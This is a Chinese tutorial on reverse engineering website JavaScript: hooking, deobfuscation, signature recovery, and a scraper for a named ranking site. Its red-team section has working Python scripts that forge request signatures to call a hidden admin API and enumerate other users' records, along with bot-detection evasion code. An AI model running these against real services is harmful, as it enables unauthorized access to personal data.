【Js逆向 python】Web JS 逆向全体系详细解释
Web JS 逆向全体系内容 互联网技术安全提示与职业操守 做渗透测试,必须严格遵守以下原则: **合法授权**:仅在**书面授权**的范围内使用逆向技术,禁止未授权测试; **最小影响**:避免使用高风险参数(如sqlmap工具的 --risk=3、--os-shell),防止目标服务崩溃; **数据保护**:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除; **留痕清理**:测试结束…

Web JS 逆向全体系内容 互联网技术安全提示与职业操守 做渗透测试,必须严格遵守以下原则: **合法授权**:仅在**书面授权**的范围内使用逆向技术,禁止未授权测试; **最小影响**:避免使用高风险参数(如sqlmap工具的 --risk=3、--os-shell),防止目标服务崩溃; **数据保护**:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除; **留痕清理**:测试结束…

做渗透测试,必须严格遵守以下原则:
--risk=3、--os-shell),防止目标服务崩溃;从基础入门→核心技术实操→全流程实战全覆盖,零基础可学、步骤可 1:1 复现。
Web JS 逆向(Web JavaScript 逆向工程),本质是反向分析前端网页的 JS 代码:
网站的接口加密、参数签名、反爬逻辑全部在前端 JS 中实现,我们通过调试、分析、还原 JS 代码,搞懂「加密参数的生成规则」,最终用 Python / 其他语言复现逻辑,实现爬虫、接口调用、渗透测试的目标。
// 网站最常见的sign签名生成逻辑(逆向核心目标)// 作用:生成接口请求的签名,防止参数被篡改functiongenerateSign(keyword, timestamp){// 1. 拼接参数const str = keyword + timestamp;// 2. MD5哈希生成签名return CryptoJS.MD5(str).toString();}// 逆向的核心:搞懂这个函数的逻辑,用Python复现
DevTools 是 JS 逆向的核心工具,对应大纲 3 节内容:Network、Sources+Application、Console。
Network 面板是浏览器的网络抓包工具,记录网页所有 HTTP/HTTPS 请求(接口、JS、图片等),可查看请求 URL、请求头、请求体、响应内容,是逆向的第一步 —— 找到目标接口和加密参数。
F12打开 DevTools,切换到 Network 面板;{}按钮,把压缩的单行代码格式化为分行可读代码;// 网站加密函数示例functionencryptData(data){// 密钥从Application面板的LocalStorage中获取const key = localStorage.getItem("encrypt_key");returnAES.encrypt(data, key).toString();}
return行的行号设置断点;data、key的值,确认加密输入和密钥;encrypt_key。Console 面板是JS 交互式执行环境,可直接执行 JS 代码、调用网站函数、查看变量、注入 Hook 代码,是逆向的「测试场」。
console.log(变量):输出变量值;console.dir(对象):输出对象的所有属性和方法;
debugger:手动触发断点;Tab自动补全函数名、变量名。// 1. 调用网站加密函数,测试逻辑const testSign =generateSign("测试关键词","1761800000000"); console.log("测试生成的sign:", testSign);// 2. 查看加密函数的完整定义 console.dir(generateSign);// 3. 查看LocalStorage中的密钥 console.log("加密密钥:", localStorage.getItem("encrypt_key"));
对应大纲内容:常用方法 + Hook 注入,核心是XHR 断点定位、Hook 注入定位,是逆向的核心步骤。
XHR 断点(XMLHttpRequest/fetch 断点),原理是:浏览器发起接口请求前,会先执行 JS 加密逻辑生成参数,我们给接口 URL 设置断点,请求发起时浏览器会自动暂停,通过调用栈回溯即可找到加密参数的生成函数。
rank/list);Hook 注入(函数钩子),原理是:重写浏览器原生方法、网站加密函数,在函数执行前先执行我们的代码,查看函数的输入参数、返回值,甚至修改结果,从而定位加密位置。
window.btoa/window.atob(Base64);window.crypto.subtle;XMLHttpRequest.prototype.send/window.fetch;CryptoJS.MD5/CryptoJS.AES;// Hook window.btoa(Base64编码)// 1. 保存原函数,避免功能丢失const originalBtoa = window.btoa;// 2. 重写btoa函数 window.btoa=function(...args){// 3. 自定义逻辑:打印输入内容 console.log("btoa被调用,输入:", args[0]);// 4. 调用原函数,获取结果const result =originalBtoa.apply(this, args);// 5. 打印输出结果 console.log("btoa编码结果:", result);// 6. 打印调用栈,定位调用位置 console.log("调用栈:",newError().stack);// 7. 返回原结果,不影响网站功能return result;};
对应大纲内容:压缩混淆概述、javascript-obfuscator 示例,核心是 JS 混淆的原理、识别、反混淆基础。
generateSign→a),减小文件体积,同时降低代码可读性;_0x123456、a、b等乱码;functiongenerateSign(data, timestamp){const salt ="my_secret_salt";const signStr = salt + data + timestamp;return CryptoJS.MD5(signStr).toString();}
var _0x1a2b=['MD5','toString','my_secret_salt'];(function(_0x3c4d,_0x1a2b5){var_0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));var_0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};functiongenerateSign(_0x4d5a,_0x5f6b){const _0x1e3f=_0x2f8e(0x0);const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();}
对应大纲内容:常见的编码和加密,是 JS 逆向的核心基础,90% 的网站加密参数都用这几种算法。
Base64 是二进制转文本编码,把二进制数据(图片、字符串)转换成由 64 个可打印字符(A-Z、a-z、0-9、+、/)组成的字符串,目的是让二进制数据在 HTTP 协议中正常传输,避免乱码。
=补全。data、token参数常用 Base64 编码;=,大概率是 Base64 编码,解码即可看到原始内容。window.btoa()编码,window.atob()解码;=;// 1. Base64编码(处理中文避免乱码)const rawStr ="我的加密内容123";const base64Str =btoa(encodeURIComponent(rawStr)); console.log("Base64编码结果:", base64Str);// 2. Base64解码const decodeStr =decodeURIComponent(atob(base64Str)); console.log("Base64解码结果:", decodeStr);
MD5(Message-Digest Algorithm 5)是不可逆的哈希摘要算法,把任意长度的输入转换成固定 32 位十六进制字符串,输入内容稍有变化,输出结果完全不同,无法从 MD5 值还原原始内容。
sign签名参数 90% 用 MD5 生成,防止参数被篡改;盐值+参数+时间戳);CryptoJS.MD5(),Python 用hashlib.md5()。// 前提:页面已加载CryptoJS库(绝大多数网站都用)const keyword ="Python逆向";const timestamp ="1761800000000";const salt ="my_secret_salt";// 网站硬编码的盐值,逆向需找到它// 拼接签名字符串(核心:还原这个规则)const signStr = salt + keyword + timestamp;// 生成MD5签名,转小写const sign = CryptoJS.MD5(signStr).toString().toLowerCase(); console.log("生成的MD5签名:", sign);
AES(Advanced Encryption Standard)是对称加密算法,加密解密用同一个密钥,加密速度快、安全性高,是网站最常用的对称加密算法,用于加密接口请求体、响应体。
data参数用 AES 加密,防止请求内容被抓包查看;// 前提:页面已加载CryptoJS库// 1. 核心配置(逆向必须找到这几个值)const key = CryptoJS.enc.Utf8.parse("1234567890abcdef");// 16位密钥const iv = CryptoJS.enc.Utf8.parse("0123456789abcdef");// 16位IV向量// 2. AES加密const rawData ='{"keyword":"Python逆向","page":1}';const encrypted = CryptoJS.AES.encrypt( rawData, key,{iv: iv,mode: CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7 });const encryptedStr = encrypted.toString(); console.log("AES加密结果:", encryptedStr);// 3. AES解密const decrypted = CryptoJS.AES.decrypt( encryptedStr, key,{iv: iv,mode: CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7 });const decryptedStr = decrypted.toString(CryptoJS.enc.Utf8); console.log("AES解密结果:", decryptedStr);
RSA 是非对称加密算法,有一对密钥:公钥(Public Key)和私钥(Private Key),公钥加密的内容只有对应的私钥能解密;私钥签名的内容,公钥能验证签名。安全性基于大数质因数分解的难度,是目前最常用的非对称加密算法。
-----BEGIN PUBLIC KEY-----开头,网站会通过接口返回或硬编码在 JS 中;JSEncrypt库,Python 用pycryptodome库。// 前提:页面已加载JSEncrypt库(网站登录加密常用)// 1. 网站的公钥(逆向需从JS中找到)const publicKey =`-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9wIDAQAB -----END PUBLIC KEY-----`;// 2. 创建加密实例const encrypt =newJSEncrypt();// 3. 设置公钥 encrypt.setPublicKey(publicKey);// 4. 加密用户密码const password ="my_password_123";const encryptedPassword = encrypt.encrypt(password); console.log("RSA加密后的密码:", encryptedPassword);
对应大纲内容:Newrank 榜单逆向、MD5/RSA/AES 加密逆向案例,核心是把前面的技术整合,还原加密逻辑并复现,完整实战案例见第三模块。
对应大纲内容:常被检测的环境、手动补全、JSDOM、Selenium、Puppeteer,核心是解决「JS 代码在 Node.js 中运行报错,缺少浏览器环境」的问题。
浏览器环境,指 JS 代码运行时浏览器提供的全局对象和 API,比如window、document、navigator、location等。网站的 JS 代码很多依赖这些浏览器 API,而 Node.js 中没有这些对象,直接复制网站 JS 代码到 Node.js 运行会报window is not defined等错误。
window、self、this(浏览器顶层 this 指向 window);navigator(userAgent、platform、webdriver);document、location、history;screen(宽度、高度);window.crypto;// Node.js环境下,手动补全window对象,解决"window is not defined"错误 global.window = global;// 用Node.js的global模拟window// 补全navigator对象 global.navigator ={userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",platform:"Win32",webdriver:false};// 补全location对象 global.location ={href:"https://www.example.com",host:"www.example.com"}; console.log("浏览器环境补全完成,userAgent:", window.navigator.userAgent);// 现在可复制网站的JS代码到这里运行
// 先安装:npm install jsdomconst{JSDOM}=require('jsdom');// 1. 创建JSDOM实例,模拟浏览器环境const dom =newJSDOM('<!DOCTYPE html>',{url:"https://www.example.com",userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",runScripts:"dangerously"});// 2. 把JSDOM的对象挂载到Node.js的global上 global.window = dom.window; global.document = dom.window.document; global.navigator = dom.window.navigator; global.location = dom.window.location; console.log("JSDOM环境补全完成,document对象:", document);// 现在可直接复制网站的JS代码到这里运行
对应大纲内容:浏览器环境监测,核心是网站的反爬手段 —— 检测当前运行环境是真实浏览器,还是爬虫 / Node.js/ 自动化工具。
浏览器环境监测(指纹检测、反自动化检测),是网站的前端反爬手段,通过 JS 代码检测当前环境的特征,判断是正常用户的浏览器,还是爬虫程序、自动化工具(Selenium/Puppeteer)、Node.js 环境,如果检测到是爬虫,就会返回错误数据、封禁 IP、触发验证码。
navigator.webdriver:自动化工具会把这个值设为true,真实浏览器是undefined;window.chrome:Chrome 浏览器有这个对象,无头浏览器、自动化工具可能没有;navigator.userAgent:检测 UA 是否是爬虫的 UA;screen对象:检测屏幕分辨率、颜色深度,无头浏览器的分辨率可能异常;navigator.plugins,真实浏览器有插件,无头浏览器没有;// Hook绕过webdriver检测,在网站JS执行前注入 Object.defineProperty(navigator,'webdriver',{get:()=>undefined,// 真实浏览器的返回值是undefined,自动化工具是true});// 同时绕过window.chrome检测 Object.defineProperty(window,'chrome',{get:()=>({runtime:{},loadTimes:()=>{},csi:()=>{}}),}); console.log("webdriver检测绕过完成,navigator.webdriver:", navigator.webdriver);
对应大纲内容:微博登录参数 RPC,核心是远程调用浏览器里的加密函数,不用还原加密逻辑、不用补全环境。
RPC(Remote Procedure Call,远程过程调用),在 JS 逆向里指:在浏览器里运行网站的 JS 代码,我们通过 WebSocket/HTTP 接口,远程调用浏览器里的加密函数,拿到加密结果。
// ==UserScript==// @name 网站加密函数RPC服务// @namespace http://tampermonkey.net/// @version 0.1// @description 远程调用网站的加密函数// @match https://www.example.com/* // 替换成目标网站的域名// @grant none// ==/UserScript==(function(){'use strict';// 1. 连接本地WebSocket服务const ws =newWebSocket('ws://127.0.0.1:8080');// 2. 连接成功 ws.onopen=()=>{ console.log("RPC服务连接成功");};// 3. 收到Python爬虫的请求,调用加密函数 ws.onmessage=(event)=>{// 解析爬虫传来的参数const params =JSON.parse(event.data);const keyword = params.keyword;const timestamp = params.timestamp;// 4. 调用网站里的加密函数(核心:直接用网站里的函数,不用还原)const sign = window.generateSign(keyword, timestamp);const encryptedData = window.encryptData(JSON.stringify(params));// 5. 把加密结果返回给Python爬虫 ws.send(JSON.stringify({sign: sign,encryptedData: encryptedData }));};})();
对应大纲内容:常见协议分析,核心是 HTTP/HTTPS 协议的结构、请求方法、头字段、接口分析方法,是逆向的基础。
HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(HTTP+SSL/TLS,加密的 HTTP)是浏览器和网站服务器之间通信的协议,所有的网页加载、接口请求,都是通过这个协议传输的。协议分析,就是分析请求和响应的结构,找到接口的调用规则、参数格式、反爬校验字段,是逆向的第一步。
HTTP 请求结构:
User-Agent:浏览器的标识,反爬必校验;Referer:请求的来源页面,告诉服务器你是从哪个页面来的;
Cookie:用户的身份标识,登录状态、会话信息都在这里;Content-Type:请求体的格式,常见的有application/json、application/x-www-form-urlencoded;Authorization:token 认证字段;POST https://api.example.com/rank/list HTTP/1.1;User-Agent、Referer、Cookie、Content-Type;{"data":"xxx","sign":"xxx","timestamp":"xxx"},找到加密参数;{"code":0,"data":{"list":[]}},确认数据格式;对应大纲内容:无限 debugger 的原理与绕过,核心是网站的反调试手段,防止我们用 DevTools 调试 JS 代码。
反调试,是网站的前端反爬手段,通过 JS 代码,检测用户是否打开了 DevTools(开发者工具),如果打开了,就会触发无限 debugger、页面卡死、代码加密、返回错误数据,防止我们调试、分析 JS 代码。
debugger语句,只要打开了 DevTools,代码就会不断暂停,无法正常调试,页面也会变得卡顿。setInterval不断执行debugger;console.log的执行时间、检测窗口大小变化;无限 debugger 的常见实现方式:
// 最常见的无限debuggersetInterval(()=>{debugger;},100);// 每100毫秒执行一次debugger
- **绕过核心思路**:让`debugger`语句不执行,或者执行了也不暂停。 ### 4. 极简入门示例(无限 debugger 绕过) #### 方法 1:条件断点绕过(最简单) 1. 打开 DevTools→Sources 面板,找到`debugger`语句所在的行; 2. 右键行号,选择「Add conditional breakpoint」; 3. 在条件框里输入`false`,按回车; 4. 刷新页面,debugger 永远不会触发,正常调试。 #### 方法 2:Hook 绕过(通用) ```javascript // 重写Function构造函数,拦截debugger语句 const originalFunction = Function; Function = function(...args) { if (args.join('').includes('debugger')) { // 如果代码里有debugger,返回空函数,不执行 return () => {}; } return originalFunction.apply(this, args); };
对应大纲内容:调试工具补充,核心是 Chrome DevTools 的进阶调试技巧,提升逆向效率。
Chrome DevTools 除了基础的断点、单步调试,还有很多进阶的调试工具,能帮我们快速定位加密函数、分析代码执行流程、查看变量变化,提升逆向效率。
Ctrl + Shift + F,打开全局搜索,搜索关键词(比如sign、encrypt、md5、aes),找到所有包含关键词的 JS 代码,快速定位加密函数;{}按钮,把压缩的一行代码格式化成分行的可读代码,逆向必备;Ctrl + Shift + F打开全局搜索;sign:(接口里的签名参数名),按回车;sign:的 JS 代码,点击进入对应的 JS 文件;对应大纲内容:AST 技术简介、babel/parser、babel/generator、babel/traverse、babel/types、使用 AST 还原混淆代码,核心是用 AST 技术反混淆 javascript-obfuscator 混淆的代码。
AST(Abstract Syntax Tree,抽象语法树),是源代码的树形结构化表示,把一行行代码,拆解成一个个节点(Node),每个节点代表代码的一个语法单元(比如变量声明、函数调用、字符串)。
@babel/parser把 JS 代码解析成 AST 树;@babel/traverse遍历 AST 树的所有节点,修改、还原节点内容;@babel/generator把修改后的 AST 树转回 JS 代码;@babel/types创建、校验节点类型,确保 AST 结构正确。StringLiteral:字符串字面量,比如"abc",混淆后的加密字符串都是这个类型;CallExpression:函数调用表达式,比如encrypt("abc");
VariableDeclaration:变量声明,比如var a = 1;FunctionDeclaration:函数声明,比如function a() {};IfStatement:if 条件语句;StringLiteral节点,调用混淆代码里的解密函数,还原原始字符串;_0x123456这种乱码变量名,改成有意义的名字;// 先安装依赖:npm install @babel/parser @babel/traverse @babel/generator @babel/types// --------------------------- 1. 导入依赖 ---------------------------const parser =require('@babel/parser');// 代码转ASTconst traverse =require('@babel/traverse').default;// 遍历ASTconst generator =require('@babel/generator').default;// AST转代码const t =require('@babel/types');// 节点类型工具// --------------------------- 2. 混淆后的代码 ---------------------------const obfuscatedCode =` var _0x1a2b=['MD5','toString','my_secret_salt']; (function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10)); var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;}; function generateSign(_0x4d5a,_0x5f6b){ const _0x1e3f=_0x2f8e(0x0); const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b; return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)](); } `;// --------------------------- 3. 第一步:代码转AST ---------------------------const ast = parser.parse(obfuscatedCode);// --------------------------- 4. 第二步:遍历AST,还原字符串 ---------------------------// 先拿到混淆代码里的解密数组和解密函数const stringArray =['MD5','toString','my_secret_salt'];// 还原混淆里的数组移位操作constshiftArray=(arr, offset)=>{for(let i =0; i < offset; i++){ arr.push(arr.shift());}return arr;};// 执行数组移位,和混淆代码里的逻辑一致const shiftedArray =shiftArray(stringArray,0x10+1);// 解密函数constdecryptString=(index)=>{return shiftedArray[index];};// 遍历AST,替换所有解密函数调用traverse(ast,{// 遍历所有的函数调用表达式CallExpression(path){// 判断是不是解密函数的调用if(path.node.callee.name ==='_0x2f8e'&& t.isNumericLiteral(path.node.arguments[0])){// 拿到参数的数字const index = path.node.arguments[0].value;// 调用解密函数,拿到原始字符串const originalString =decryptString(index);// 把解密函数调用节点,替换成原始字符串节点 path.replaceWith(t.stringLiteral(originalString));}}});// --------------------------- 5. 第三步:AST转回代码 ---------------------------const result =generator(ast,{compact:false});// compact: false 格式化代码 console.log("还原后的代码:\n", result.code);
对应大纲内容:WebAssembly 案例介绍、WASM 模拟执行,核心是逆向用 WASM 实现的加密逻辑。
WebAssembly(简称 WASM)是一种低级的二进制指令格式,能在浏览器里以接近原生的速度运行,C/C++/Rust 写的代码,可以编译成 WASM,在浏览器里运行。很多网站把核心的加密逻辑,用 C/C++ 写好,编译成 WASM,放到浏览器里运行,防止被 JS 逆向分析,是目前最强的前端加密反爬手段之一。
.wasm:二进制格式,浏览器直接运行的文件;.wat:文本格式,人类可读的 WASM 代码,是二进制文件的反编译结果;.wasm文件反编译成.wat格式,或者用工具反编译成 C 代码,分析加密逻辑;wasm2wat:把 wasm 二进制文件转成 wat 文本格式;wat2wasm:把 wat 文本转成 wasm 二进制;
// --------------------------- 浏览器里调用WASM加密函数 ---------------------------// 1. 加载WASM文件fetch('/encrypt.wasm').then(response=> response.arrayBuffer()).then(bytes=> WebAssembly.instantiate(bytes)).then(result=>{// 2. 拿到WASM导出的加密函数const encryptFunc = result.instance.exports.encrypt;// 3. 调用加密函数,传入参数const data =newTextEncoder().encode("我的加密内容");const encryptedPtr =encryptFunc(data.byteOffset, data.length);// 4. 从WASM内存里读取加密结果const memory =newUint8Array(result.instance.exports.memory.buffer, encryptedPtr,32);const encryptedResult = Array.from(memory).map(b=> b.toString(16).padStart(2,'0')).join(''); console.log("WASM加密结果:", encryptedResult);});
完全贴合大纲的实操内容,每个技术点都按「适用场景→操作步骤→核心代码→踩坑点→案例演示」来写,步骤可 1:1 复现。
F12打开 DevTools;rank/list,不要带域名);rank/list),按回车;无代码,断点设置指令:在 XHR/fetch Breakpoints 里添加接口关键词,比如rank/list。
/api/,只要接口 URL 包含/api/,就会触发断点。案例:Newrank 榜单逆向
https://www.newrank.cn/xdnphb/main/v1/rank/list,复制关键词rank/list;rank/list,再次触发查询;generateSign函数,就是 sign 参数的生成函数。btoa找不到调用位置,用 Hook 拦截所有调用。F12打开 DevTools;btoa被调用的输入内容、输出结果,以及调用栈;btoa的代码位置,找到加密逻辑。// --------------------------- Hook window.btoa 核心代码 ---------------------------// 1. 保存原始的btoa函数,避免原功能丢失const originalBtoa = window.btoa;// 2. 重写btoa函数 window.btoa=function(...args){// 3. 我们的逻辑:打印输入的参数 console.log("=== btoa被调用 ==="); console.log("输入内容:", args[0]);// 4. 打印调用栈,找到调用位置 console.log("调用栈:",newError().stack);// 5. 调用原函数,拿到返回值const result =originalBtoa.apply(this, args);// 6. 打印输出结果 console.log("编码结果:", result); console.log("=== 调用结束 ===");// 7. 返回原结果,不影响网站正常功能return result;};
btoa,Hook 不到;避坑:HookString.prototype.fromCharCode,或者搜索 Base64 的特征码ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,找到自定义的编码函数。案例:某网站登录接口 Base64 编码逆向
完全贴合大纲【加密参数还原与模拟、逆向爬取实战】章节,核心案例从 0 到 1 可复现,代码可直接运行。
https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list;
sign(32 位 MD5 值)、nonce(随机字符串)、timestamp(13 位时间戳)、data(Base64 编码的查询条件)。查看请求体,发现加密参数:
{"app_key":"xhs_001","nonce":"123456","timestamp":"1761800000000","sign":"a1b2c3d4e5f67890a1b2c3d4e5f67890","data":"eyJ0eXBlIjoiYWxsIiwicGFnZSI6MX0="}
rank/list,再次点击下一页,断点触发;sign:,找到generateSign函数;分析generateSign函数,得到完整逻辑:
d1b12967a38c4891a987f65432109876;app_key + nonce + timestamp + data + 盐值;
在 DevTools 的 Console 里执行以下代码,验证加密逻辑:
// 模拟参数const app_key ="xhs_001";const nonce ="123456";const timestamp ="1761800000000";const data =btoa(JSON.stringify({"type":"all","page":1}));const salt ="d1b12967a38c4891a987f65432109876";// 拼接签名字符串const signStr = app_key + nonce + timestamp + data + salt;// 生成MD5签名const sign = CryptoJS.MD5(signStr).toString().toLowerCase(); console.log("生成的sign:", sign);// 和抓包的sign对比,一致则逻辑正确
# 安装依赖:pip install requestsimport requests # 全称:HTTP for Humans,发送HTTP请求import time # 全称:Time access and conversions,生成时间戳import hashlib # 全称:Secure hashes and message digests,MD5哈希import base64 # 全称:Base16/32/64 encodings,Base64编码import json # 全称:JSON encoder and decoder,JSON处理import random # 全称:Generate pseudo-random numbers,生成随机nonce# --------------------------- 全局配置(从逆向中提取) --------------------------- BASE_URL ="https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list" APP_KEY ="xhs_001" SALT ="d1b12967a38c4891a987f65432109876" HEADERS ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Referer":"https://www.newrank.cn/public/rank/wechat","Content-Type":"application/json","Cookie":"你自己的Newrank Cookie"# 登录后复制}# --------------------------- 1. MD5签名生成函数 ---------------------------defgenerate_sign(app_key:str, nonce:str, timestamp:str, data:str)->str:""" 生成Newrank接口的sign签名 :param app_key: 固定app_key :param nonce: 6位随机数 :param timestamp: 13位时间戳 :param data: Base64编码的查询条件 :return: 32位小写MD5签名 """# 拼接规则:app_key + nonce + timestamp + data + 盐值 sign_str =f"{app_key}{nonce}{timestamp}{data}{SALT}"# 计算MD5哈希 md5_obj = hashlib.md5(sign_str.encode('utf-8'))# 返回32位小写字符串return md5_obj.hexdigest()# --------------------------- 2. Base64编码函数 ---------------------------defencode_data(page:int, rank_type:str="all")->str:""" 编码查询条件为Base64 :param page: 页码 :param rank_type: 榜单类型 :return: Base64编码的字符串 """# 构造查询条件JSON payload ={"type": rank_type,"page": page,"pageSize":20}# 转成JSON字符串,再Base64编码 json_str = json.dumps(payload, separators=(',',':'))return base64.b64encode(json_str.encode('utf-8')).decode('utf-8')# --------------------------- 3. 生成随机nonce ---------------------------defgenerate_nonce()->str:"""生成6位随机数字nonce"""returnstr(random.randint(100000,999999))# --------------------------- 4. 主爬取函数 ---------------------------defget_rank_list(page:int=1)->dict:""" 获取Newrank榜单数据 :param page: 页码 :return: 接口返回的JSON数据 """# 1. 生成参数 timestamp =str(int(time.time()*1000)) nonce = generate_nonce() data = encode_data(page) sign = generate_sign(APP_KEY, nonce, timestamp, data)# 2. 构造请求体 request_body ={"app_key": APP_KEY,"nonce": nonce,"timestamp": timestamp,"sign": sign,"data": data }# 3. 发送POST请求 response = requests.post( url=BASE_URL, headers=HEADERS, json=request_body, timeout=10)# 4. 返回JSON数据 response.raise_for_status()return response.json()# --------------------------- 5. 运行入口 ---------------------------if __name__ =="__main__":# 爬取第1页榜单数据 result = get_rank_list(page=1)print("榜单数据:", json.dumps(result, indent=2, ensure_ascii=False))
time.sleep(random.uniform(1, 3)),避免被封 IP;requests.Session()复用 TCP 连接,提升爬取效率;红队实战导向,Payload 可以测试。
F12打开 DevTools→Sources 面板;Ctrl+Shift+F)关键词:encrypt、AES、key、secret、token;api/、/v1/、/user/等接口关键词,找到前端代码中注释 / 未调用的隐藏未授权接口;// 前端硬编码的加密密钥与签名规则(逆向提取)constAES_KEY="api_encrypt_123456";// 硬编码AES密钥constSIGN_SALT="api_sign_secret_789";// 硬编码签名盐值// 前端接口签名生成函数functiongenerateApiSign(timestamp, path){return CryptoJS.MD5(SIGN_SALT+ timestamp + path).toString();}// 前端隐藏的未授权接口(逆向发现)constHIDDEN_API="https://api.example.com/admin/user/list";
import hashlib import time import requests # 从前端JS逆向提取的硬编码盐值 SIGN_SALT ="api_sign_secret_789"# 逆向发现的隐藏未授权接口 TARGET_API ="https://api.example.com/admin/user/list"# 接口路径(用于签名) API_PATH ="/admin/user/list"defgenerate_sign(timestamp:str, path:str)->str:""" 复现前端的MD5签名生成函数 :param timestamp: 13位时间戳 :param path: 接口路径 :return: 32位MD5签名 """ sign_str =f"{SIGN_SALT}{timestamp}{path}"return hashlib.md5(sign_str.encode("utf-8")).hexdigest()if __name__ =="__main__":# 生成和前端一致的时间戳 timestamp =str(int(time.time()*1000))# 生成合法签名 sign = generate_sign(timestamp, API_PATH)# 构造请求头,完全模拟前端 headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","Content-Type":"application/json","X-Timestamp": timestamp,"X-Sign": sign }# 发起未授权请求,获取全量用户数据 response = requests.get(url=TARGET_API, headers=headers, timeout=10)print("未授权获取的用户数据:", response.json())
某企业 OA 系统前端 JS 中硬编码了接口签名盐值和后台用户列表接口路径,后端仅校验签名的合法性,未校验当前登录用户的角色权限。通过逆向提取盐值,生成合法签名,直接未授权获取了 OA 系统全量 2000 + 员工的手机号、身份证号、薪资数据。
user_id、sign;MD5(user_id + timestamp),未加入用户登录态、固定盐值;user_id + timestamp的规则,未校验user_id是否属于当前登录用户。import hashlib import time import requests # 逆向还原的签名生成规则defgenerate_sign(user_id:str, timestamp:str)->str: sign_str =f"{user_id}{timestamp}"return hashlib.md5(sign_str.encode("utf-8")).hexdigest()# 目标接口 TARGET_API ="https://api.example.com/user/info"# 登录后的Cookie(保留登录态,绕过基础登录校验) COOKIE ="sessionid=xxx; token=xxx"if __name__ =="__main__":# 遍历目标用户ID,批量越权for target_user_id inrange(1,100): timestamp =str(int(time.time()*1000))# 生成任意user_id的合法签名 sign = generate_sign(str(target_user_id), timestamp)# 构造请求 params ={"user_id": target_user_id,"timestamp": timestamp,"sign": sign } headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","Cookie": COOKIE } response = requests.get(url=TARGET_API, params=params, headers=headers, timeout=5)print(f"用户ID {target_user_id} 的信息:", response.json())
某电商网站的用户订单查询接口,签名规则仅为MD5(order_id + user_id),后端未校验订单所属的用户是否为当前登录用户。通过逆向还原签名规则,遍历订单 ID,越权获取了全量用户的订单信息、收货地址、手机号。
MD5(固定密钥 + user_id + timestamp + 用户token),防止攻击者构造签名;user_id/order_id是否属于当前登录用户,禁止越权访问;完全贴合大纲【反调试、环境补充、混淆反混淆】章节,覆盖逆向全流程高频异常,步骤可落地,代码可直接执行。
| 序号 | 核心成因 | 触发场景 |
|---|---|---|
| 1 | 浏览器特有 API 缺失 | 代码调用了window、document、navigator、location等浏览器全局对象,Node.js 中无这些对象 |
| 2 | this 指向错误 | 浏览器中顶层this指向window,Node.js 中顶层this指向global,代码依赖this的浏览器指向逻辑 |
| 3 | 反 Node.js 环境检测 | 网站代码检测到 Node.js 环境,主动抛出错误 / 修改加密逻辑 |
| 4 | 代码混淆后的依赖缺失 | 混淆后的代码依赖前端 JS 的其他模块,Node.js 中未引入对应的依赖 |
| 5 | 加密算法的浏览器实现差异 | 代码使用了window.crypto.subtle浏览器加密 API,Node.js 中无对应实现 |
xxx is not defined(对象缺失)、Cannot read properties of undefined(this 指向错误)、主动抛出的错误(环境检测)。window、document、navigator等浏览器特有对象;console.log(this),查看顶层 this 的指向,判断是否为 this 指向问题。console.log(global),查看是否有代码修改了全局对象;process、module、exports等 Node.js 特有关键词,查看是否有检测逻辑。CryptoJS、JSEncrypt等第三方库,Node.js 中是否安装了对应库。// Node.js环境浏览器对象补全代码,放在加密代码最开头// 补全window对象,Node.js中用global模拟 global.window = global; global.self = global; global.this = global;// 补全navigator对象,模拟Chrome浏览器环境 global.navigator ={userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",platform:"Win32",webdriver:false,plugins:[1,2,3,4,5],// 模拟浏览器插件language:"zh-CN"};// 补全location对象 global.location ={href:"https://www.example.com",host:"www.example.com",hostname:"www.example.com",protocol:"https:",pathname:"/"};// 补全document对象 global.document ={cookie:"sessionid=xxx",referrer:"https://www.example.com",createElement:()=>{return{innerHTML:"",src:""};}};// 补全浏览器加密API global.crypto =require("crypto").webcrypto; console.log("浏览器环境补全完成");// 下方粘贴从前端复制的加密代码
